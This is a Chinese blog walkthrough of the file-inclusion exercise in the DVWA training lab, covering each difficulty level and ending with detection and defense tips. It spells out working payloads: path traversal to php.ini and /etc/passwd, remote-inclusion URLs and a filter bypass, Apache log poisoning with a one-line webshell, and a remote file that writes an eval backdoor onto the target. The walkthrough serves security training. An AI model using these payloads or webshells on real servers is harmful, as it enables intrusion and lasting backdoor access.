Low级:

 
 
我们分别点击这几个file.php文件

仅仅是配置参数的变化:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php
如果我们随便写一个不存在的php文件,比如 :
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=text.php

还爆出了路径错误
 

我们先来分析原始内容:
 
再来分析我们构造好的网址:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini
 
果然可以访问到正常的内容
 
我们再来尝试:

 
这表明了文件包含不仅仅能读文件,还能执行文件
 
当然,我们不能满足于此,我们甚至可以尝试从本地包含文件
 
我们在本地www目录下新建1.php   ————>  写入<?php phpinfo();?>
 
我们输入网址:
 
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.txt

果然,外部包含文件成功,这样的话我们可以在1.php代码中写入恶意代码,拿到服务器的webshell

Medium级:

我们先来看源代码:
<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); ?>
 
 
 
 
 

就是将输入的url参数中包含的“http://”、“https://”,   ". . /"   ,   ". . \""等字符串替换成空的字符串,
即过滤了远程文件包含, 对于本地文件包含并没有任何过滤:
 
本地包含:
 
远程包含:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=httphttp://://127.0.0.1/1.txt

High级:

源代码:
<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" )
{
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>
 

我们输入:
 

Impossible级:

源代码:
<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>
源码只允许四个文件名,有效的防止了文件的包含漏洞
 
 

利用:

1、读取敏感文件:

如直接../../../../../etc/passwd来读取本地文件内容,其他敏感文件的读取是类似的,前提是知道路径。

2、包含Apache日志文件:

可以用nc向目标服务器发送一条内容为一句话木马的错误的指令,让其保存在目标服务器的access.log日志文件中,再通过本地文件包含的方式实现利用。但是测试时没有成功,因为MySQL用户权限不足,不能读取Apache的日志,这时需要提权操作。
这里简便地演示一下,就直接修改文件夹属主,先到/var/log目录下,然后输入命令:chown www-data:www-data apache2 -R
接着以向日志文件写入phpinfo为示例,注意一点是,不能直接在URL栏填写,因为一些字符会被URL编码而不能达到目的,要使用Burpsuite截断代理修改数据包来进行:
然后到Metasploitable2的Apache2的access.log文件中查看:

确实是存在于日志文件中了。

最后直接包含该access.log文件即可:

3、远程包含shell

以Medium级为背景,在一台攻击者的服务器如Kali的/var/www/html/目录中放入一句话木马文件,在Kali中通过以下命令启动Apache

service apache2 start

然后在访问DVWA中利用远程文件包含漏洞访问Kali中的木马文件,从而实现利用。
这里注意的是,这个木马文件的内容不能为形如<?php echo shell_exec($_GET['cmd']);?>这种,因为这样只会在该木马文件存放的服务器服务器上执行而不是在目标服务器上执行,如下示例,a.php文件内容如上,但是返回的内容确实Windows服务器的而不是目标主机Metasploitable2的:
因而正确的姿势应该是,该木马文件实现将木马内容写入目标服务器中的1.txt文件,如:
<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST[aaa]);?>");?>
访问:
没有啥情况,接着到DVWA服务器查看吧:
存在后门PHP文件,没有问题。
这里示例以phpinfo测试:

4、配合文件上传漏洞:

和文件上传漏洞或者SQL注入漏洞等一同利用,通过利用前面的漏洞将一句话木马1.php文件上传到Web服务器中,然后再通过文件包含漏洞包含出现从而得到shell。
例如上传了一个名为1.txt的文件,内容为:<?php phpinfo();?>
直接包含该文件会将该文件以PHP来运行:

5、使用PHP封装协议读取文件和写入PHP文件:

1、读取文件:

访问,可以看到显示了base64编码的内容:
使用Burpsuite的Decode模块解码:
可以发现就是之前上传的示例文件内容。

2、写入PHP文件:

前提条件是allow_url_include为on,则构造如下URL:192.168.220.128/dvwa/vulnerabilities/fi/?page=php://input
然后再POST需要输入的内容即可,这里通过Firefox的HackBar来POST数据:
可以看到输入的内容执行并返回了结果。

检测方法:

找到有包含函数的页面,对函数内容进行替换查看结果;
可以使用工具来代替手工的过程,如Kadimus、Burpsuite的插件LFI scanner checks等;
白盒测试时,可以在源代码中查看allow_url_fopen、allow_url_include等敏感函数是否开启。

防御方法:

1、严格判断包含中的参数是否外部可控。
2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。
3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include("head.php")”。
5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文
 

2. DVWA亲测文件包含漏洞的更多相关文章

  1. 1.4 DVWA亲测文件上传漏洞

    Low 先看看源代码: <?php if(isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $tar ...

  2. 1.3 DVWA亲测sql注入漏洞

    LOW等级   我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...

  3. 2. DVWA亲测命令执行漏洞

        先看low级: 提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的, 我们正常输入127.0.0.1: 那我们就可以利用这个使用其他CMD命令  我们输入127.0.0.1& ...

  4. 1.2 DVWA亲测sql注入漏洞(blind)

    LOW等级     我们尝试输入:   即如果页面返回为假,则说明后面的语句成功注入 据此我们可以知道 1' and 真 --> 页面显示 “User ID exists in the data ...

  5. 文件包含漏洞(DVWA环境中复现)

    LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...

  6. DVWA各级文件包含漏洞

    File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...

  7. PHP代码审计笔记--文件包含漏洞

    有限制的本地文件包含: <?php include($_GET['file'].".php"); ?> %00截断: ?file=C://Windows//win.in ...

  8. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  9. php伪协议,利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本, 设置allow_url_fopen ...

随机推荐

  1. 创建node.js一个简单的应用实例

    在node.exe所在目录下,创建一个叫 server.js 的文件,并写入以下代码: //使用 require 指令来载入 http 模块 var http = require("http ...

  2. 我的Android进阶之旅------>Android利用Sensor(传感器)实现水平仪功能的小例

    这里介绍的水平仪,指的是比较传统的气泡水平仪,在一个透明圆盘内充满液体,液体中留有一个气泡,当一端翘起时,该气泡就会浮向翘起的一端.    利用方向传感器返回的第一个参数,实现了一个指南针小应用. 我 ...

  3. js日历学习

    <!DOCTYPE html><html><head><title>自己写的JS日历,适合学习</title><script src= ...

  4. Mongo 分组后排序取时间最大的一整条数据对象

    db.getCollection('product_protocol_new').aggregate([ {$sort:{"end_date":-1}}, {$group:{ _i ...

  5. Java for LeetCode 122 Best Time to Buy and Sell Stock II

    Say you have an array for which the ith element is the price of a given stock on day i. Design an al ...

  6. springcloud 研发规范

    1) 程序结构规范 1: Facade-Stub:包含所有对外提供服务的借口定义,并对外提供 2:  Façade:实现Façade-Stub里面定义的全部借口,可以调用Service模块和Commo ...

  7. BZOJ 2101 [Usaco2010 Dec]Treasure Chest 藏宝箱:区间dp 博弈【两种表示方法】【压维】

    题目链接:http://www.lydsy.com/JudgeOnline/problem.php?id=2101 题意: 共有n枚金币,第i枚金币的价值是w[i]. 把金币排成一条直线,Bessie ...

  8. storm源码剖析(1):storm脚本

    今天看了一下storm的命令行脚本${STORM_HOME}/bin/storm,现在将剖析过程整理一下,作为记录.注:使用的storm版本为0.8.0. ${STORM_HOME}/bin/stor ...

  9. leetcode 290 Word Pattern(map的应用)

    Given a pattern and a string str, find if str follows the same pattern. Here follow means a full mat ...

  10. 机器视觉 Histogram of oriented gradients

    Histogram of oriented gradients 简称 HoG, 是计算机视觉和图像处理领域一种非常重要的特征,被广泛地应用于物体检测,人脸检测,人脸表情检测等. HoG 最早是在200 ...